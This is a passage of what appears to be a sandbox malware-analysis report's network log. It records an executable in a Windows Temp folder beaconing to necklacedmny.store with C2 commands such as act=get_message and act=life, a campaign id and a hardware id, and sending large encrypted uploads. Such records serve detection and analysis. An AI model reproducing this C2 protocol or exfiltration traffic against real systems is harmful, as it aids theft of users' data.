?N$Z3#\|==#d^83OFNo\|P['#3GKQzOIcQc`Y2oNr;4ijR/[ZWfU`fsV$'sK?c]ZkT&%aeRjUUqLTi9w.c[:d];3fKs
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: 8e 2d d0 7e 18 70 74 9a b8 67 8e 46 61 e1 f3 a7 aa 24 48 f4 fe 6d 14 d2 df ea ed 6d ff 9e 16 37 35 7a 98 97 11 6c c1 33 b6 57 64 04 62 40 cc e3 25 59 ed 2b 0a 40 e1 6b d0 4b ff 8d c8 82 7b 15 7c 4b 53 45 e3 6e fb d0 f0 c3 1f ce ca 10 53 03 0f d4 31 ff df e9 e1 d7 10 11 46 62 e6 21 0e d9 f4 15 1e 44 81 50 8f bc 05 8c 8e be cb 09 9f 4d f4 2d 0f 9b 5d 9d f8 67 35 7e 1f 38 c0 1b 27 11 e1 0e 59 2f 94 5e f2 82 18 d9 4f 40 e5 e9 ed 35 da fb 15 99 44 4c 73 d6 5c fe 2c 3b 59 07 a4 a4 76 eb 73 0e d7 39 8b b0 0f 37 be c5 85 84 8d 9a 48 be b0 4d 0a d9 87 ea 79 83 f6 01 28 8d b7 1e 50 ed 87 98 b0 80 8d 5f e2 0e ed eb 1e 97 c1 ca fb 6c 29 10 fd fe 40 f4 9c 66 ee 4b 7a 3e 6d b0 c8 cc b5 f1 8c 21 73 dd c8 83 6a 49 72 51 c8 24 e6 f1 6e fa c8 85 ac fc 96 9b 1b 52 38 34 20 Data Ascii: -~ptgFa$Hmm75zl3Wdb@%Y+@kK{\|KSEnS1Fb!DPM-]g5~8'Y/^O@5DLs\,;Yvs97HMy(P_l)@fKz>m!sjIrQ$nR84
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: c6 2f e0 55 1d f7 54 31 a5 69 ba 05 45 b0 0c f9 b3 e6 e6 5a 15 1d d2 36 5f 17 18 49 ee e5 3f 78 1b 5a 7b b2 bb 6f 9c 44 a2 f7 2f 75 23 8b 96 4a a2 93 18 0a 8a 44 98 18 fd 61 64 3e a8 04 f9 aa 19 95 b9 a7 7b 85 cc 0c 37 7a 6e f2 71 5f d9 74 0d b7 39 b5 ee 4f 04 21 d6 29 68 c6 5e 56 5d 27 2c b1 72 a6 0e 51 16 62 8d 84 29 91 3e 15 10 ad 2f d9 5c 06 f1 82 79 79 d8 ea 4b d8 38 e6 62 40 4a 7f 00 f5 17 6c 5c b6 e0 69 9c 92 64 1b 91 a1 2e 52 78 9c 69 bb 64 df 94 fc 93 a0 e6 3f 37 fe 30 8f 9c 5e 58 c4 0d e8 73 1e 33 2a 56 4c 01 b6 bd d7 15 71 4e 88 ce c8 33 ce 53 61 dd 2d 85 bc 3c 53 90 d2 48 38 69 95 6f dd f3 bd fe 8e 84 d5 ab ec e4 6b 95 fd c1 3f 0c 67 51 01 f7 fb ca 99 16 cf 2b 27 84 a6 50 b0 22 90 0c c4 34 42 20 75 96 91 6f 4f 3f 2d 6e 60 da 05 d1 6b 3e 0e ae Data Ascii: /UT1iEZ6_I?xZ{oD/u#JDad>{7znq_t9O!)h^V]',rQb)>/\yyK8b@Jl\id.Rxid?70^Xs3*VLqN3Sa-<SH8iok?gQ+'P"4B uoO?-n`k>
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: 98 7f 25 60 84 e4 5a a5 26 5f 48 2f f0 1a d9 7c fd 34 11 e4 ab 0d 1e de 9f 61 4e 09 5c 9f 37 e1 17 15 d7 df c3 b0 ab cb b0 0c f1 52 d5 82 32 6a a3 d4 d9 cf e7 9c 22 0f 62 af 5f bb d6 3f 79 4d e3 c0 5d 71 e0 77 8b 5a bf 96 45 56 6d 45 4d 71 ce 9f 18 c3 75 e0 c6 ac da 33 1e c1 8c cd 51 c7 ad 73 99 67 71 cc ff 79 02 9a 80 74 48 e3 d6 71 11 ce ed 8d d9 6f 93 2d 1e 37 b9 3d c2 0f 24 3f 96 93 fd a1 11 40 28 02 f2 a0 3c 5f 07 47 00 04 2f 46 ac 08 9a b3 76 c9 00 34 5c 60 3c 10 00 8e 39 65 e2 68 d8 db 79 f1 1f 6e 7f 9d 53 e2 f4 dc e4 e8 e6 57 fb cd 75 fb f0 b2 67 bf 21 96 e6 e9 8c ee 9d b9 dc d1 4f a6 dd 2f 0f 01 fd 17 12 7b c0 94 38 5e 4f f5 c2 67 2c c5 bd 3b da 7e c4 43 a5 79 71 36 cb cd 31 47 e8 a6 94 7b 6f 84 43 5d f8 e8 27 4f 89 47 6b 11 ed 53 c7 f2 35 2f 3f Data Ascii: %`Z&_H/\|4aN\7R2j"b_?yM]qwZEVmEMqu3QsgqytHqo-7=$?@(<_G/Fv4\`<9ehynSWug!O/{8^Og,;~Cyq61G{oC]'OGkS5/?
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: bf dd d5 db 93 17 fb 8a 9e bb 5f cf 71 62 7b e7 b7 ff ce 74 87 a9 5b 80 f4 60 4b a7 65 70 38 85 5a d1 b2 7d a3 b6 85 68 00 79 6e 7b 48 6a 0d d3 68 a0 ca fa 75 94 5c 0e ec 0f 60 f0 b6 7a 7c 4a e0 68 29 d8 ef de a6 03 d4 9a b2 11 70 46 80 3a 78 fd d9 aa 5a 71 55 5d ec 13 d7 83 8b 0a ee c5 9d 28 49 d3 60 5b 47 f5 53 a7 10 9f 18 ad e5 ac b5 dc d4 a2 87 c4 28 aa 84 4e f4 cb 8a a9 05 9b 18 72 03 6f 56 ae e9 80 eb 7e ee 6b 81 7d e0 30 bc a9 fc 2a 7e f4 ca a6 17 f6 ef b7 ab e0 e3 21 a9 39 22 fc 75 57 a6 57 c0 10 0a ef fb 63 44 54 57 62 9c 73 a1 67 dc 39 0a 8e 0c 6e fb 59 e2 d9 4c 4a a1 05 fb 2e fd 09 30 03 f1 4c 09 bd db 6e 19 01 7f bf c9 85 0d 08 bb 98 20 c1 47 5f 94 ed 34 f0 6d 21 79 33 af cf 74 19 20 a4 45 cf 93 b3 7e 38 c3 66 a9 b5 5b ff 8e ea 8e 6b e5 ff 5a Data Ascii: _qb{t[`Kep8Z}hyn{Hjhu\`z\|Jh)pF:xZqU](I`[GS(NroV~k}0*~!9"uWWcDTWbsg9nYLJ.0Ln G_4m!y3t E~8f[kZ
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: b6 91 21 14 f4 45 48 cc 4c 6f 0f f6 f5 5f b7 f7 6a a9 2d 28 6c e0 e0 49 81 2c cc f0 c5 37 d3 92 25 41 9d 2a 08 1d b3 fd 7a 8b 5f 16 3c ec 6c b0 09 6a 46 6e ab 16 f8 ee 1b 1f e4 c1 98 76 a0 ee 90 d5 d3 90 84 03 1d 2d 27 26 d5 d8 c4 e5 3a 16 b5 fa c2 38 87 6f eb 77 52 a1 72 6e c1 4d a6 f5 ed 38 e6 91 82 b6 88 1a bf 6c 44 fc 5e 55 e8 39 16 74 ef fb 68 98 02 28 3f 2d 49 6f a5 81 bf fd c6 fe c5 5d 4a 1f b6 79 a7 bf 8c 22 f0 f8 f0 fd e3 c9 6d e1 db a6 8a 46 25 25 87 37 1e b9 7a 93 e0 5a e3 e2 9f 5e 8a fc 83 3f 9c ad 35 81 11 ac 3e 17 7b ec 13 e7 94 81 a1 56 93 c0 58 13 fd 9b a6 6e e4 f4 3d 5d 1d 64 59 94 e6 ee 73 00 1e d9 dd be ce 5d 84 7a 82 52 89 30 55 94 17 da 04 f9 2b 26 f6 ea 07 84 b7 67 97 1f a6 55 9d 01 81 a7 0a 6f b8 11 15 9e 5e 54 eb 2f 01 f9 1a cb c1 Data Ascii: !EHLo_j-(lI,7%A*z_<ljFnv-'&:8owRrnM8lD^U9th(?-Io]Jy"mF%%7zZ^?5>{VXn=]dYs]zR0U+&gUo^T/
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: 3a f1 d5 00 e1 c7 76 ce d8 b9 13 02 36 1f 83 c5 56 85 17 f6 a2 c6 64 ba 90 60 99 20 18 2f f4 90 88 9d 88 45 88 02 84 20 e2 af e9 fd b5 1b ac 84 74 ab d1 ea f2 87 81 f9 2d 02 ed e1 f8 16 ec 59 0c 41 89 ab 06 fc 78 08 96 24 31 d6 bb 51 2b 59 9a b8 d8 fb be 38 ae c2 8f 9f 23 3d 10 f4 79 30 7f 86 62 51 2a b9 e3 4b 50 bf 6d 86 e2 c1 70 6c 5e 55 bd 9b 3a 18 2b 5c 4c bd b3 70 eb 2a 59 75 c3 7d 20 cc 17 7b eb 81 36 aa e8 82 dd 00 d5 60 49 73 97 1f c7 5b 93 2e 3f 5a be 37 3f 93 64 ed 06 6e 9d 1c 08 8f 8c 9a 52 bd 1c 19 d8 f0 15 fe c3 23 f7 6d f3 cf b8 25 17 b5 c7 f4 bf 12 be 34 cd 35 5f eb b3 bc 6e 08 29 d3 51 c1 91 c1 62 e9 8a 57 79 de be ac f6 10 16 5c d0 fa 31 d3 f8 1c 86 83 63 17 2f e2 8f 25 10 92 43 7d 59 05 52 91 f3 d6 04 a9 d4 a7 2f f1 a5 c0 fb c3 69 47 84 Data Ascii: :v6Vd` /E t-YAx$1Q+Y8#=y0bQKPmpl^U:+\LpYu} {6`Is[.?Z7?dnR#m%45_n)QbWy\1c/%C}YR/iG
2024-11-01 07:51:41 UTC	15331	OUT	Data Raw: da 7a 9c f4 0c d7 79 1c d7 74 23 26 9b a3 c2 61 58 19 01 f9 85 a5 95 23 fc de a6 0d 16 32 95 9a a6 64 8d a7 5a 54 5a e6 5e 7d 1a 33 97 a5 16 78 b5 fc 08 28 9b ca 28 29 ff ae a4 fb f9 7b b5 6e d4 73 9a 2f 46 07 67 da 76 30 c4 1e 86 61 5a 69 b4 72 be 1e 86 e2 e8 cb 2c 50 4a 9c 06 b0 9d 2d 25 d6 cf 00 b2 59 1c 6e ef 27 15 63 6c 7f a0 d4 a7 29 7f f7 82 b3 d0 f2 bb 25 2b 25 02 93 9e e1 36 fa 59 66 b4 e8 91 63 ae f0 f2 70 90 44 04 a5 45 b1 f3 cf 6a a1 06 3d 92 16 b1 ee 96 1d dc 8a 20 01 03 3f f6 62 aa 01 80 56 19 63 a3 86 60 73 12 71 96 6b 3e 78 de d3 82 14 1f c6 22 d5 16 46 cb fc b6 ae ab 2d a4 c7 d2 1f 2e b4 b6 20 4f 94 6d b5 ff 71 bb 77 b8 54 31 7e bf 98 ff 58 ae b1 fd d4 69 1d 3e eb 57 f4 ce fd dc 2a 42 bf ff d7 01 7c c5 d5 7e 5b 88 20 07 3b 64 fb e2 36 ce Data Ascii: zyt#&aX#2dZTZ^}3x((){ns/Fgv0aZir,PJ-%Yn'cl)%+%6YfcpDEj= ?bVc`sqk>x"F-. OmqwT1~Xi>W*B\|~[ ;d6
2024-11-01 07:51:43 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5q8btpst4m46cqua19r7rn61gs; expires=Tue, 25-Feb-2025 01:38:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2BhHBTtwWFHl0sBho0js65n0TP1LHjuW2q4aVJL6XU%2BDf6Q2xDYcyaFZHcJWCw5u9ueC70sx9cdNkQBILJ6OS8cnXYxYESjs%2FWHekwKLFIRbNmdKMX7Q1MFA3PuTzCEd8uKaSsA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d123f473acf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1202&sent=226&recv=607&lost=0&retrans=0&sent_bytes=2843&recv_bytes=550960&delivery_rate=2454237&cwnd=230&unsent_bytes=0&cid=d312cb34c0f68f59&ts=2477&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	57852	188.114.96.3	443	7660	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 07:51:44 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=7144220E77620ADDE7796FA464A20147
2024-11-01 07:51:45 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4bvlkrlp0v5937mb3gk0nmnruh; expires=Tue, 25-Feb-2025 01:38:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gnB95AT7D8%2FO%2BNylwvhSpn%2FqlHGjF4oXwUwH3%2FIEQnfN7gGERE6ISI%2Fzy1TD5nztUeXx%2F8S5alBmP23hVSr97mEZ1khJ0jTDUK%2FhkL717bNECu4LZlZelu3IMtT27nKtlCMQ8cI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d28a8fe466c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2036&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1197188&cwnd=251&unsent_bytes=0&cid=11c2f153f388842c&ts=693&x=0"
2024-11-01 07:51:45 UTC	214	IN	Data Raw: 64 30 0d 0a 4c 61 77 2f 4f 54 33 61 69 78 54 57 53 6a 76 74 2b 64 42 48 63 79 73 45 6b 70 48 4f 63 77 63 58 49 62 51 49 34 71 34 70 6a 33 31 32 31 78 31 4d 48 2b 43 70 66 4b 49 2b 53 39 65 6c 2f 78 74 63 47 6a 79 6e 76 2f 78 43 4d 6a 6b 51 68 54 76 4d 6e 78 2f 54 55 6b 4c 4b 57 57 55 53 76 75 35 79 2b 43 39 44 69 4e 76 38 5a 52 56 66 4a 71 69 68 34 6c 46 69 4e 52 75 45 64 63 37 56 43 2f 70 66 46 34 35 58 54 55 6d 71 73 55 6a 35 46 68 54 63 77 65 56 70 51 52 6f 78 76 4b 44 2f 51 43 6b 6d 46 2b 67 6e 6a 38 64 48 36 69 45 43 33 6c 35 58 57 62 58 6d 4f 72 4d 79 58 73 2f 56 38 69 45 48 43 54 36 69 76 65 77 57 4a 53 30 52 79 56 55 3d 0d 0a Data Ascii: d0Law/OT3aixTWSjvt+dBHcysEkpHOcwcXIbQI4q4pj3121x1MH+CpfKI+S9el/xtcGjynv/xCMjkQhTvMnx/TUkLKWWUSvu5y+C9DiNv8ZRVfJqih4lFiNRuEdc7VC/pfF45XTUmqsUj5FhTcweVpQRoxvKD/QCkmF+gnj8dH6iEC3l5XWbXmOrMyXs/V8iEHCT6ivewWJS0RyVU=
2024-11-01 07:51:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	57873	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:47 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 07:51:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 07:51:48 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=igic9oae10e2dphkcj174gq144; expires=Tue, 25-Feb-2025 01:38:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5pCJvNriEEE0QxRroiC18Fy0%2Fqv66nfLl%2FJwFVszCAjDPrr%2Fr4rma0Z3kQSEglRQuQpetsU3gJWFjiaiEgPyaZXDozyNCLMt5xXs1ZQF2ypCWR7D8XsnkLhA90mTDaU2Ndu7qjw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d3c0ced6b36-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2544815&cwnd=251&unsent_bytes=0&cid=25ffed26d20185dc&ts=537&x=0"
2024-11-01 07:51:48 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 07:51:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	57880	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:49 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 07:51:49 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 07:51:50 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dv26avr42hdvoa83or7pebq1hf; expires=Tue, 25-Feb-2025 01:38:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RoNdzerA%2Flk8YLXmOPe6gbZ%2F6ksl5LSFEl2ZU7TBJqTpZb5%2BmFgG2cENV0xmQlkDQKkwpIxYiLSuvZzCtHbwvN%2FmlS9wxGtcfz5MUkYR%2B2qShhoKsfTyNTbsMfNK0wZkWYk0Qkg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d45de402e6a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1869593&cwnd=250&unsent_bytes=0&cid=33dc05524031a84a&ts=713&x=0"
2024-11-01 07:51:50 UTC	352	IN	Data Raw: 31 64 39 62 0d 0a 77 45 77 57 74 38 66 64 6c 4e 71 79 6b 6c 2b 44 6b 46 65 49 31 43 68 78 68 4b 7a 78 63 50 45 75 33 76 74 50 48 51 49 4d 43 51 36 37 62 6d 43 56 2f 65 6d 34 2b 4d 48 33 66 62 6e 6b 4a 66 32 78 42 46 50 6c 79 4e 4e 4b 6c 30 2b 79 69 43 6f 78 49 48 70 6b 4c 50 6f 71 64 39 75 30 75 4c 6a 34 31 2b 70 39 75 63 73 73 71 72 46 47 55 37 36 4f 6c 42 71 54 54 37 4b 5a 4c 6e 5a 74 66 47 56 74 71 43 42 78 33 36 4b 2b 38 4c 76 65 2f 7a 72 6d 39 54 62 69 75 6b 45 63 37 4d 48 54 58 4e 4e 4c 70 4e 6c 31 50 30 39 70 66 57 2b 4e 4c 57 58 63 35 61 43 34 6f 5a 44 33 4d 61 47 71 64 65 6d 78 53 68 33 69 79 4a 6f 59 6d 55 61 36 6d 43 74 33 63 6d 56 76 5a 71 67 75 63 74 36 6f 74 2b 53 32 31 50 67 78 34 50 38 32 71 76 67 4b 46 50 36 4f 79 31 4c 41 66 72 2b 49 50 Data Ascii: 1d9bwEwWt8fdlNqykl+DkFeI1ChxhKzxcPEu3vtPHQIMCQ67bmCV/em4+MH3fbnkJf2xBFPlyNNKl0+yiCoxIHpkLPoqd9u0uLj41+p9ucssqrFGU76OlBqTT7KZLnZtfGVtqCBx36K+8Lve/zrm9TbiukEc7MHTXNNLpNl1P09pfW+NLWXc5aC4oZD3MaGqdemxSh3iyJoYmUa6mCt3cmVvZqguct6ot+S21Pgx4P82qvgKFP6Oy1LAfr+IP
2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 75 6b 73 76 61 71 32 50 73 32 35 4f 41 2b 34 37 74 48 45 2b 76 45 6e 42 47 54 53 37 61 54 49 6e 56 6b 59 32 5a 71 6f 69 34 30 6d 2b 57 34 37 76 69 49 73 42 37 6b 34 6a 4c 6d 6f 41 67 70 70 74 48 64 43 39 4e 4c 73 4e 6c 31 50 32 68 72 61 47 2b 70 49 58 66 64 72 71 33 32 71 74 62 39 4f 50 50 30 4d 4f 53 38 53 51 48 73 77 4a 55 52 6d 6b 65 31 6e 43 70 37 49 43 41 72 61 37 70 75 4c 4a 57 45 73 76 32 30 32 75 63 39 6f 65 31 37 38 2f 5a 4e 48 36 61 57 30 78 61 53 53 4c 32 64 49 33 46 6b 59 6d 31 69 72 79 46 79 33 36 57 34 2f 4c 44 59 38 54 44 71 2f 54 58 76 75 30 34 56 36 73 2b 57 55 74 30 4d 75 34 46 74 4a 79 42 41 62 47 2b 77 62 45 48 57 71 37 48 78 72 70 44 76 63 2f 69 79 4d 75 62 32 45 6c 50 6f 79 35 77 41 6b 6c 36 35 6c 7a 39 7a 5a 57 68 6d 62 36 77 75 63 Data Ascii: uksvaq2Ps25OA+47tHE+vEnBGTS7aTInVkY2Zqoi40m+W47viIsB7k4jLmoAgpptHdC9NLsNl1P2hraG+pIXfdrq32qtb9OPP0MOS8SQHswJURmke1nCp7ICAra7puLJWEsv202uc9oe178/ZNH6aW0xaSSL2dI3FkYm1iryFy36W4/LDY8TDq/TXvu04V6s+WUt0Mu4FtJyBAbG+wbEHWq7HxrpDvc/iyMub2ElPoy5wAkl65lz9zZWhmb6wuc
2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 78 72 70 44 76 63 2f 69 79 4d 75 62 32 45 6c 50 71 78 35 4d 5a 6d 55 69 38 6e 69 42 36 59 32 6c 6f 59 61 55 6b 65 74 4b 68 73 2f 2b 31 31 76 41 36 35 66 63 6e 37 37 39 47 48 36 61 41 30 78 57 4c 44 4f 54 5a 41 6e 68 32 62 55 52 76 73 79 63 30 79 75 75 6d 74 72 2f 63 73 47 57 68 39 54 44 69 76 55 77 62 35 74 79 57 48 4a 68 4e 74 70 38 73 63 6d 78 6f 61 32 32 69 4b 48 6a 56 6f 72 6a 6b 71 74 58 32 4c 2b 75 79 65 36 71 78 55 6c 4f 2b 6a 71 55 43 68 46 32 71 32 78 68 38 62 6d 42 73 65 75 49 78 4f 73 7a 6c 75 50 72 34 69 4c 41 32 34 66 34 79 34 72 42 4f 47 2b 6e 42 6d 67 43 53 51 4c 4b 4c 4b 6e 39 70 59 47 52 67 71 79 4e 7a 32 4b 36 31 2b 37 7a 58 38 58 32 76 73 6a 4c 79 39 68 4a 54 30 4e 36 65 48 72 31 48 73 4a 42 74 59 43 35 33 4b 32 75 75 62 69 79 56 6f 62 Data Ascii: xrpDvc/iyMub2ElPqx5MZmUi8niB6Y2loYaUketKhs/+11vA65fcn779GH6aA0xWLDOTZAnh2bURvsyc0yuumtr/csGWh9TDivUwb5tyWHJhNtp8scmxoa22iKHjVorjkqtX2L+uye6qxUlO+jqUChF2q2xh8bmBseuIxOszluPr4iLA24f4y4rBOG+nBmgCSQLKLKn9pYGRgqyNz2K61+7zX8X2vsjLy9hJT0N6eHr1HsJBtYC53K2uubiyVob
2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 39 44 6a 6b 39 6a 4c 75 73 45 56 54 71 49 36 55 43 74 4d 55 2f 4c 59 4b 53 69 4a 50 55 53 79 39 59 47 32 56 6f 72 4f 32 34 4a 44 38 50 75 33 36 4f 75 79 2f 52 68 6e 76 78 5a 38 5a 6c 30 43 31 6e 43 74 2b 5a 57 74 71 61 4b 34 6b 63 74 61 6d 73 50 6d 33 32 4c 42 7a 6f 66 55 74 71 75 34 4b 4e 76 48 46 6e 52 54 54 55 2f 4b 41 62 58 68 73 4c 6a 4d 73 72 69 64 79 30 36 43 7a 39 37 37 59 39 54 58 6c 38 7a 50 73 74 55 55 58 34 38 2b 63 46 70 39 43 74 70 67 73 63 32 74 68 59 47 6e 69 59 44 54 53 76 66 2b 75 2b 4f 48 7a 4b 2f 62 69 4f 61 71 70 42 41 71 6d 79 5a 39 53 79 77 79 39 69 79 64 31 62 6d 74 6b 61 61 45 68 63 39 69 6a 73 2f 79 78 32 50 59 79 36 4f 41 32 35 72 68 4e 48 65 72 41 6e 68 69 51 51 66 7a 58 62 58 68 34 4c 6a 4d 73 6a 69 6c 35 2b 36 36 7a 38 66 6a Data Ascii: 9Djk9jLusEVTqI6UCtMU/LYKSiJPUSy9YG2VorO24JD8Pu36Ouy/RhnvxZ8Zl0C1nCt+ZWtqaK4kctamsPm32LBzofUtqu4KNvHFnRTTU/KAbXhsLjMsridy06Cz977Y9TXl8zPstUUX48+cFp9Ctpgsc2thYGniYDTSvf+u+OHzK/biOaqpBAqmyZ9Sywy9iyd1bmtkaaEhc9ijs/yx2PYy6OA25rhNHerAnhiQQfzXbXh4LjMsjil5+66z8fj
2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 62 78 31 37 61 34 4b 53 36 62 34 6c 41 4b 44 54 2f 36 6f 4f 33 78 32 5a 57 5a 67 34 6a 45 36 7a 4f 57 34 2b 76 69 49 73 44 76 75 2b 7a 62 6c 74 30 4d 66 36 38 75 61 46 35 4a 4b 75 4a 4d 6e 66 32 5a 6f 61 6d 6d 6f 4c 58 58 66 72 4c 6a 2b 76 39 50 69 66 61 2b 79 4d 76 4c 32 45 6c 50 50 79 59 45 63 67 77 79 6a 31 7a 51 2f 5a 32 49 72 4e 4f 49 71 66 74 71 68 75 50 71 2b 31 66 59 77 34 50 30 30 36 72 6c 4f 47 4f 2f 49 6b 68 2b 57 51 62 69 4c 4a 33 52 76 59 6d 4a 67 72 32 34 36 6c 61 4b 6e 74 75 43 51 77 54 44 76 2f 44 4c 38 39 6c 56 64 2f 34 36 55 48 74 4d 55 2f 4a 67 68 63 47 4e 68 61 47 2b 6a 4a 47 62 48 71 62 62 2b 76 64 7a 37 4d 2b 66 67 4d 2b 57 2f 53 52 44 76 79 5a 73 65 6d 55 2b 37 32 57 4d 2f 5a 33 59 72 4e 4f 49 4e 59 38 57 6f 2f 2b 6e 32 79 62 41 36 Data Ascii: bx17a4KS6b4lAKDT/6oO3x2ZWZg4jE6zOW4+viIsDvu+zblt0Mf68uaF5JKuJMnf2ZoammoLXXfrLj+v9Pifa+yMvL2ElPPyYEcgwyj1zQ/Z2IrNOIqftqhuPq+1fYw4P006rlOGO/Ikh+WQbiLJ3RvYmJgr246laKntuCQwTDv/DL89lVd/46UHtMU/JghcGNhaG+jJGbHqbb+vdz7M+fgM+W/SRDvyZsemU+72WM/Z3YrNOINY8Wo/+n2ybA6
